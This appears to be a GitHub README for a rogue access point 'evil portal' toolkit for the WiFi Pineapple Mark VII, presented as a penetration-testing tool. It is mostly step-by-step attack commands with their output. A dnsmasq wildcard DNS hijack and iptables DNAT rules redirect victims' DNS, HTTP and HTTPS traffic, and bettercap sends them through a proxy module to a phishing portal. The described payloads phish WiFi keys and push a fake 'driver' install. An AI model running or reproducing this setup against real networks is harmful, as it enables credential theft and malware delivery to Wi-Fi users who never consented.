tw-d/wifi-pineapple-mk7_evil-portalRogue access point toolkit for WiFi penetration testing, deploying evil portal phishing payloads to capture credentials and perform social engineering attacks on wireless networks.
Author:: TW-D
Version:: 1.0.0
Copyright:: Copyright (c) 2024 TW-D
License:: Distributes under the same terms as Ruby
Requires:: PHP >= 8.1, Ruby >= 2.7.0p0 and WiFi Pineapple Mark VII 2.1.3-stable
Installation (Debian-Based Linux Distributions)::
sudo apt-get install php8.1-cli php8.1-curl
sudo apt-get install build-essential ruby ruby-dev libpcap-dev
sudo gem install sorted_set bettercap
A evil portal is a technique used to deceive users of a Wi-Fi network by redirecting them to a malicious web page instead of the expected authentication or home page.
Note : "Issues" and "Pull Requests" are welcome.
| Operating System with/without Web Browser | Notification Type |
|---|---|
| Ubuntu 22.04 | None |
| Android 8.0.0 | System |
| Microsoft Windows 10 | None |
| Raspberry Pi bookworm | None |
| Ubuntu 22.04 with Mozilla Firefox | Alert |
| Microsoft Windows 10 with Mozilla Firefox | Alert |
| Raspberry Pi bookworm with Mozilla Firefox | Alert |
Connect the WiFi Pineapple to your computer via the USB-C cable.
Settings > Networking > Wireless Client Mode : The wlan2 interface must be disconnected.
hacker@hacker-computer:~$ ifconfig enx
enx: [...]
inet 172.16.42.100 netmask 255.255.255.0 broadcast 172.16.42.255
[...]
(optional)
hacker@hacker-computer:~$ sudo nmap -sT -sU -p 53,5353 -e enx 172.16.42.1
[...]
PORT STATE SERVICE
53/tcp open domain
5353/tcp closed mdns
53/udp open domain
5353/udp closed zeroconf
[...]
hacker@hacker-computer:~$ ssh [email protected]
root@mk7:~# dnsmasq --address=/#/172.16.42.1 --no-hosts --interface=br-lan --port=5353 --no-resolv
root@mk7:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@mk7:~# iptables --append PREROUTING --in-interface br-lan --proto tcp --dport 53 --jump DNAT --table nat --to-destination 172.16.42.1:5353
root@mk7:~# iptables --append PREROUTING --in-interface br-lan --proto udp --dport 53 --jump DNAT --table nat --to-destination 172.16.42.1:5353
root@mk7:~# iptables --append PREROUTING --in-interface br-lan --proto tcp --dport 80 --jump DNAT --table nat --to-destination 172.16.42.100:8080
root@mk7:~# iptables --append PREROUTING --in-interface br-lan --proto tcp --dport 443 --jump DNAT --table nat --to-destination 172.16.42.100:8000
root@mk7:~# iptables --append POSTROUTING --jump MASQUERADE --table nat
root@mk7:~# exit
(optional)
hacker@hacker-computer:~$ sudo nmap -sT -sU -p 53,5353 -e enx 172.16.42.1
[...]
PORT STATE SERVICE
53/tcp open domain
5353/tcp open mdns
53/udp open domain
5353/udp open zeroconf
[...]
(optional)
hacker@hacker-computer:~$ dig @172.16.42.1 -p 53 www.google.com
[...]
;; ANSWER SECTION:
www.google.com. 0 IN A 172.16.42.1
[...]
(optional)
hacker@hacker-computer:~$ dig @172.16.42.1 -p 5353 www.google.com
[...]
;; ANSWER SECTION:
www.google.com. 0 IN A 172.16.42.1
[...]
hacker@hacker-computer:~$ cd ./WiFi-Pineapple-MK7_Evil-Portal/
hacker@hacker-computer:~/.../WiFi-Pineapple-MK7_Evil-Portal$ php -S 172.16.42.100:8000
hacker@hacker-computer:~$ cd ./WiFi-Pineapple-MK7_Evil-Portal/
hacker@hacker-computer:~/.../WiFi-Pineapple-MK7_Evil-Portal$ sudo "${BASH}" -c "echo 0 > /proc/sys/net/ipv4/ip_forward"
hacker@hacker-computer:~/.../WiFi-Pineapple-MK7_Evil-Portal$ sudo "${BASH}" -c "echo 0 > /proc/sys/net/ipv6/conf/all/forwarding"
hacker@hacker-computer:~/.../WiFi-Pineapple-MK7_Evil-Portal$ sudo bettercap \
--interface enx \
--gateway 172.16.42.1 \
--no-discovery \
--log ./logs/bettercap.log \
--silent \
--no-spoofing \
--proxy \
--proxy-port 8080 \
--allow-local-connections \
--no-sslstrip \
--no-http-logs \
--proxy-module ./EvilPortal.rb \
--redirect-url http://172.16.42.100:8000/
hacker@hacker-computer:~$ curl --head --interface enx "http://neverssl.com/"
HTTP/1.1 302 Found
[...]
Location: http://172.16.42.100:8000/
Cache-Control: max-age=0, private, must-revalidate
hacker@hacker-computer:~$ curl --head --insecure --interface enx "https://www.google.com/"
curl: (35) error:0A000126:SSL routines::unexpected eof while reading
hacker@hacker-computer:~$ exit
In "./payloads/" directory, you will find :
| DEVELOPMENT | Author | Description | How to use |
|---|---|---|---|
| skeleton.html | TW-D | Empty payload intended for development. | Documentation |
| EXECUTION | Author | Description | How to use |
|---|---|---|---|
| web-camera.html | TW-D | Simulates a fake surveillance video and demands the installation of a driver for its operation. | Documentation |
| PHISHING | Author | Description | How to use |
|---|---|---|---|
| wifi_security-key.html | TW-D | Simulates a fake update of the Internet equipment and demands the WiFi security key to continue. | Documentation |
